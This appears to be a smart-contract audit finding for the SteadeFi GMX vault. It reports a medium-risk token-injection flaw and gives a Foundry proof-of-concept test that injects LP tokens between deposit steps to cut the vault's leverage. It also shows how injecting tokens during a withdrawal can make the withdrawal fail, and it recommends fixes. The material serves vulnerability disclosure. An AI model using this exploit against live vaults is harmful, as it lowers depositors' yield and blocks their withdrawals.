Token injection leads to unintended behavior of vault

Severity

Medium Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXDeposit.sol#L72C5-L72C52

https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXProcessDeposit.sol#L24C1-L30C7

https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXReader.sol#L129C1-L141C6

https://github.com/Cyfrin/2023-10-SteadeFi/blob/0f909e2f0917cb9ad02986f631d622376510abec/contracts/strategy/gmx/GMXChecks.sol#L207C1-L208C50

Summary

When a token is deposited/withdrawn in a vault, it happens in two steps. In the first step, some states of the vault are saved, which are partially important for the second step, and a request to deposit/withdraw is made to GMX. In the second step, GMX calls the callback function, and the vault completes the deposit/withdrawal. The problem is that one can send LP tokens to the contract between these two steps, causing the vault to behave unintentionally.

Vulnerability Details

Deposit

Here is a PoC for the effects when sending lpTokens between the two steps during deposit:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import { console, console2 } from "forge-std/Test.sol";
import { TestUtils } from "../../helpers/TestUtils.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
import { GMXTestHelper } from "./GMXTestHelper.sol";

import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";

contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
    function test_POC2() public {
        uint256 lpAmtUser1 = 0.000005e18; //~400$ (because price of lpToken = 79990000$)

        //In the setup, the owner receives a few lpTokens, which are now sent to user1 for testing the token injection
        vm.startPrank(owner);
        IERC20(address(WETHUSDCpair)).transfer(address(user1), lpAmtUser1);
        vm.stopPrank();
        
        //Owner deposits in Vault
        vm.startPrank(owner);
        _createDeposit(address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);
        vm.stopPrank();
        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));

        //Variable for Assertion
        (,uint256 debtAmtTokenBBefore) = vault.debtAmt();

        vm.startPrank(user1);
        _createDeposit(address(WETH), 0.1 ether, 0, SLIPPAGE, EXECUTION_FEE); //User1 creates deposit. The 0.1 ether is being leveraged
        IERC20(address(WETHUSDCpair)).transfer(address(vault), lpAmtUser1); //User1 injects lp-tokens between createDeposit and processDeposit. They are not leveraged
        vm.stopPrank();
        //In step one, the equity was saved before the deposit. The equity depends on the LP amount and the debts to the lending Vaults. In step two, 
        //the saved equity is used alongside the current equity to calculate how many Vault shares a user receives. This way, user1 receives shares 
        //for their injected tokens that do not have any leverage.(so no borrowing from the lending vaults was done for these tokens)
        mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
        
        //User1 withdraws all his tokens.
        uint256 vaultSharesAmount = IERC20(address(vault)).balanceOf(user1);
        vm.startPrank(user1);
        //In the case of a withdrawal, the debts to the LendingVaults are also repaid. Since it is assumed that all tokens have been leveraged, there 
        //is a mistaken repayment to the lending vaults for the injected tokens as well.
        _createAndExecuteWithdrawal(address(WETH), address(USDC), address(USDC), vaultSharesAmount, 0, SLIPPAGE, EXECUTION_FEE);
        vm.stopPrank();

        //Variable for Assertion
        (,uint256 debtAmtTokenBAfter) = vault.debtAmt();
        
        //After User1 withdrew their LP tokens, the debt amount for TokenB would normally be approximately the same as it was before User1 deposited. 
        //However, due to the unleveraged tokens, more debt was repaid, resulting in a lower debt and, consequently, lower leverage than before.
        assert(debtAmtTokenBBefore - 750e6 > debtAmtTokenBAfter); //750e6 == $750. This is to show that the debt is significantly less than before

        console.log("debtAmtTokenBBefore: %s", debtAmtTokenBBefore);
        console.log("debtAmtTokenBAfter: %s", debtAmtTokenBAfter);
    }
}

Since the user can withdraw their injected tokens, which they received VaultShares for, they could execute this action multiple times to further worsen the tokenB debt amount and, consequently, the leverage.

The POC can be started with this command: forge test --match-test test_POC2 -vv

Withdraw

When withdrawing, LP tokens can also be injected between the two steps. This can be exploited by an attacker because he can fail the afterWithdrawChecks if he sends the same amount of lp tokens that a user wants to withdraw.

Here is the check that the attacker could exploit by sending enough tokens to make the lpAmt as large as it was before the withdrawal:

File: GMXChecks.sol#afterWithdrawChecks
207: if (GMXReader.lpAmt(self) >= self.withdrawCache.healthParams.lpAmtBefore)
208:       revert Errors.InsufficientLPTokensBurned();

Impact

Since, if this bug is exploited during deposit, an attacker can decrease the leverage, it results in users of the vault having less leverage and lower yield.

When withdrawing, the attacker can potentially cause the withdrawal to fail, but the user doesn't lose anything and can try again.

Tools Used

VSCode, Foundry

Recommendations

In the deposit function, the depositValue should be used to determine approximately how many lpTokens GMX will be transferred to the vault. This number should then be compared to the actual received amount in processDeposit.

In the case of withdrawal, after calling removeLiquidity, the lpAmt should be stored, and this should be compared to the lpAmt in the processWithdraw function to determine whether tokens were injected.